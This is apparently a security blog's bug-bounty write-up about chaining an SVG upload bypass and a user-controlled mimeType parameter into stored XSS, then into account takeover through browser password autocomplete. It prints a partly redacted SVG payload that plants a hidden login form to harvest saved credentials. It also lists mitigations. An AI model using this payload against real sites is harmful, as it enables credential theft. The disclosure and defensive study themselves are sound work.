Table of contents
ToggleIntroduction
During our internal research period, we decided to run some tests on a few Bug Bounty programs, with the goal of assessing the effectiveness of common security controls.
During these activities, we stumbled upon an interesting case: an apparently harmless file upload feature which, after deeper analysis, turned out to be exploitable and could be escalated into a Stored Cross-Site Scripting (XSS). From a seemingly legitimate file upload we were able to escalate the issue into a single-click Account Takeover (1-click ATO) despite the presence of the httpOnly attribute on session cookies. This showed how even seemingly robust defenses can be bypassed with a methodical yet creative approach.
In this article we want to share the details of the finding, the exploitation path, and most importantly, the security lessons that every development team should consider to prevent similar scenarios.
Technical Analysis
While testing a ticketing platform, we focused on the file upload functionality available in one of the application's endpoints. This allowed users to upload documents to share with other members authorized to view the same ticket.
The first layer of defense prevented the upload of files with an html extension, blocking the operation and returning an error such as "Wrong file type". At first glance, it looked like proper validation was in place.
However, by analyzing the behavior more closely, we discovered it was possible to bypass this protection by uploading files in svg format.
Although typically used for vector images, SVG files can also contain HTML and JavaScript code. In other words, what looks like a harmless image format can become a perfect vehicle for malicious payloads.
Aware of the risk, developers had implemented a second layer of protection: uploaded files were served through a link containing a mimeType parameter in the query string. When this was set to image/svg+xml, the server would strip the Content-Type header and treat the file as plain text, preventing JavaScript execution.
Since the value of the mimeType parameter was preselected by the server but still ultimately user-controlled, we could change it at will. By modifying it, for example, to text/html, even though HTML files could not be uploaded directly, the parameter was still accepted. The file would then be served with the chosen Content-Type, enabling execution of the injected code. This way, the script injected in the SVG could be executed directly in the victim's browser, turning the feature into a Stored XSS. While it required the victim to click on a crafted link, the absence of any visible malicious payload in the URL made the attack highly plausible.
From XSS to account takeover
At this point, the Stored XSS vulnerability was confirmed. However, analyzing the context, we realized it was not possible to exploit it directly to steal session cookies and achieve an account takeover:
- Session cookies were protected against JavaScript access by the attribute
httpOnly - There were no POST requests such as email change or password reset that could be abused directly through CSRF/XSS.
In short, the most straightforward path to an account takeover was blocked.
The autocomplete feature
To reach a meaningful impact anyway, we applied a lesser-known but highly effective exploitation chain, often rated as high severity on Bug Bounty platforms. This chain becomes feasible when the XSS is hosted on the same domain as the login page.
Many users conveniently save their credentials in the browser. In such a scenario, a simple XSS can create a hidden login form with the same fields as the legitimate login page, and abuse the browser's autocompletion feature to extract the saved username and password in cleartext.
Unlike a classic HTML-based XSS, where any HTML tag could be injected, SVGs impose some restrictions. To work around this, we leveraged the foreignobject tag, which allows embedding arbitrary HTML code inside the SVG, for example:
<svg width="1200" height="900" xmlns="http://www.w3.org/2000/svg">
<foreignObject x="0" y="0" width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<style>
body { font-family: Arial, sans-serif; }
</style>
<div class="login-container" id="loginContainer">
<h3>Demo Login (Mock)</h3>
<form method="post" action="[REDACTED]" id="loginForm">
<label for="username">User Name</label>
<input type="text" name="username" autocomplete="username" id="username" value="">
<label for="password">Password</label>
<input type="password" name="password" id="password">
<button id="loginButton">Login</button>
</form>
</div>
</div>
<script type="text/javascript">
function sendCredentials() {
const form = document.getElementById('loginForm');
form.action = '[REDACTED]';
// TODO: Send data to the attacker server
}
setTimeout(sendCredentials, 1000);
</script>
</foreignObject>
</svg>
The interesting part of this approach is that credential exfiltration occurs as soon as the user opens the malicious link, regardless of whether they are logged in on the platform or not.
Impact and lessons learned
This exploitation chain allowed us to escalate a vulnerability with an apparently limited impact (a Stored XSS) into a full 1-click Account Takeover. Even though session cookies were protected with the httpOnly attribute and no critical endpoints could be abused, the misuse of the browser's autocompletion feature once again demonstrated that attack surfaces must be considered holistically, not just technically.
Beyond full account compromise, one must also consider that obtaining credentials in cleartext – not just a valid session – has broader implications in cases where the user reuses the same password across different platforms.
How to prevent such an attack
- Isolate user content: uploaded files should be served from domains separate from the main portal and the login page.
- Eliminate unnecessary vectors: parameters such as
mimeTypeshould never be user-controlled. - Treat SVGs as active content: they are not just images, but files capable of containing logic and scripts.
- Apply strict CSPs: block the execution of scripts coming from uploaded content.
- Test "non-obvious" scenarios: such as autocompletion abuse or cross-feature exploit chains, often overlooked by automated testing.
Ultimately, this case reminds us that security does not come down to individual controls. What is needed is a defense-in-depth approach, where every layer genuinely reduces the chances of escalation. Otherwise, a single creative chain of vulnerabilities may be enough to undermine the entire protection model.





